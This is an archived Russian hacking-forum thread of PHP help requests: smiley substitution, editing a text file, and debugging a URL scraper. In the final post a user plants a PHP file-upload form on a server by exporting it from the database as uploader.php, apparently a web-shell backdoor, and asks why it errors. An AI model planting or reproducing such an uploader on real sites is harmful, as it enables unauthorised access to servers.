ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

11.02.2010, 23:58
|
|
Новичок
Регистрация: 25.04.2009
Сообщений: 13
Провел на форуме: 79806
Репутация:
0
|
|
вот у меня есть папка с смайлами, есть код который будет вытягивать отуда смайлы и делать их ссылками в текстовое поле коммента, ето возможно но как реализовать?
|
|
|

12.02.2010, 00:10
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме: 2083691
Репутация:
330
|
|
Сообщение от _Malinovskiy_
вот у меня есть папка с смайлами, есть код который будет вытягивать отуда смайлы и делать их ссылками в текстовое поле коммента, ето возможно но как реализовать?
Ну создай файл smiles.php примерно со следующим содержанием:
PHP код:
<?php
$row['text'] = str_replace(':)', '<img src="smile1.gif">', $row['text']);
$row['text'] = str_replace(':(', '<img src="smile2.gif">', $row['text']);
$row['text'] = str_replace('=)', '<img src="smile3.gif">', $row['text']);
?>
И инклудь его куда надо.
2Corpy, не совсем понял задание. Объясни по конкретнее про день и месяц.
|
|
|

12.02.2010, 00:16
|
|
Новичок
Регистрация: 25.04.2009
Сообщений: 13
Провел на форуме: 79806
Репутация:
0
|
|
сейчас попробую
|
|
|

12.02.2010, 00:56
|
|
Познающий
Регистрация: 14.03.2009
Сообщений: 86
Провел на форуме: 385811
Репутация:
12
|
|
При выполнении скрипта, нужно дописывать новую строку в файл в формате user[0-9];[0-9],
Например, файл содержит:
User1;36
User7;24
User4;243
Как, сделать выборку по значению до ; , например User7 и прибавить к значению после ; (24), скажем случайное число и все это дело сохранить?
|
|
|

12.02.2010, 01:43
|
|
Участник форума
Регистрация: 04.05.2006
Сообщений: 161
Провел на форуме: 389768
Репутация:
158
|
|
draliokero
mail.txt
User1;36
User7;24
User4;243
PHP код:
$need = 'User7';
foreach(file('mail.txt') as $mail) {
list($one,$two) = explode(';',$mail);
if($one == $need) $fin .= $one.';'.rand(666,999);
}
file_put_contents('mail_new.txt',$fin);
|
|
|

12.02.2010, 02:17
|
|
Познающий
Регистрация: 14.03.2009
Сообщений: 86
Провел на форуме: 385811
Репутация:
12
|
|
НSolker, спс за ответ в теме)
Последний раз редактировалось draliokero; 12.02.2010 в 02:31..
|
|
|

12.02.2010, 09:39
|
|
Постоянный
Регистрация: 05.12.2003
Сообщений: 340
Провел на форуме: 3548105
Репутация:
98
|
|
PHP код:
set_time_limit (3000);
echo "start</br>";
$fp=fopen('l1.txt', 'a+');
echo "open</br>";
while(!feof($fp))
{
sleep(5);
$string=fgets($fp, 1024);
echo $string;
echo "</br>";
$homepage = file_get_contents("http://ссс.ru/&id=".$string."&123");
echo $homepage;
fclose($fp);
// $fff = "";
// while (!feof($sock))
$fff .= fread($sock, 128);
}
echo $fff;
$out = array();
preg_match_all($fff, $out);
echo " good";
echo "</br>";
echo $out[0][1];
foreach ($out[1] as &$value) {
$file = fopen("a2.txt", "a");
fputs($file, $value. "\r\n");
fclose($file);
}
fclose($sock);
/* $homepage = file_get_contents('http://google.ru/');
echo $homepage;*/
?>
.Ребят подскажите плиз, что не так в скрипте?
Вроде должен:
1. открыть файл "l1.txt"
2. подставить первую строку из файла сюда ".$string."
3. зайти по полученному урлу и выпарсить весь текст
4. сохранить в a2.txt
и далее по кругу, подставить вторую строку 'l1.txt' в url -> зайти выпарсить -> сохранить в файл.
что не так?
Последний раз редактировалось c0rp$e; 12.02.2010 в 09:43..
|
|
|

12.02.2010, 12:04
|
|
Участник форума
Регистрация: 04.05.2006
Сообщений: 161
Провел на форуме: 389768
Репутация:
158
|
|
c0rp$e
PHP код:
<?php
set_time_limit (0);
echo "start<br/>";
$file=file('l1.txt');
echo "open<br/>";
foreach($file as $line)
{
echo $line.'<br/>';
$homepage = file_get_contents("http://ссс.ru/&id=".$line."&123");
//echo $homepage;
$pattern = '#parse (.+?) it#';
preg_match_all($patter,$homepage, $out);
echo 'good<br/>';
echo $out[0][1].'<br/>';
foreach ($out[1] as $value)
$fin .= $value.chr(10);
file_put_contents('l1.txt',$fin);
}
?>
|
|
|

12.02.2010, 12:41
|
|
Постоянный
Регистрация: 05.12.2003
Сообщений: 340
Провел на форуме: 3548105
Репутация:
98
|
|
Сообщение от Solker
c0rp$e
PHP код:
<?php
set_time_limit (0);
echo "start<br/>";
$file=file('l1.txt');
echo "open<br/>";
foreach($file as $line)
{
echo $line.'<br/>';
$homepage = file_get_contents("http://ссс.ru/&id=".$line."&123");
//echo $homepage;
$pattern = '#parse (.+?) it#';
preg_match_all($patter,$homepage, $out);
echo 'good<br/>';
echo $out[0][1].'<br/>';
foreach ($out[1] as $value)
$fin .= $value.chr(10);
file_put_contents('l1.txt',$fin);
}
?>
не пашет..
ошибки выдает
PHP код:
PHP Notice: Undefined variable: patter....
PHP Warning: preg_match_all(): Empty regular expression in ...
PHP Notice: Undefined variable: fin in...
PHP Warning: Invalid argument supplied for foreach()...
|
|
|

12.02.2010, 13:14
|
|
Познающий
Регистрация: 25.12.2009
Сообщений: 42
Провел на форуме: 295646
Репутация:
12
|
|
Заливаю через бд вот этот код, после чего экпортирую сиё чудо в uploader.php
PHP код:
<FORM ENCTYPE=\"multipart/form-data\" ACTION=\"uploader.php\" METHOD=POST> File: <INPUT NAME=\"upload\" TYPE=\"file\"> <INPUT TYPE=\"submit\" VALUE=\"Upload\"> <?php $uploaddir = \'\'; $uploadfile = $uploaddir . basename($_FILES[\'upload\'][\'name\']); if (move_uploaded_file($_FILES[\'upload\'][\'tmp_name\'], $uploadfile)) { print \"Upload was successful\"; } else { print \"Upload was failed\"; } ?>
Но когда вызываю файл через браузер, выдается ошибка
PHP Warning: Unexpected character in input: '\' (ASCII=92) state=1
Последний раз редактировалось FewG; 12.02.2010 в 13:21..
|
|
|
|
 |
|
|
Здесь присутствуют: 6 (пользователей: 0 , гостей: 6)
|
|
|
|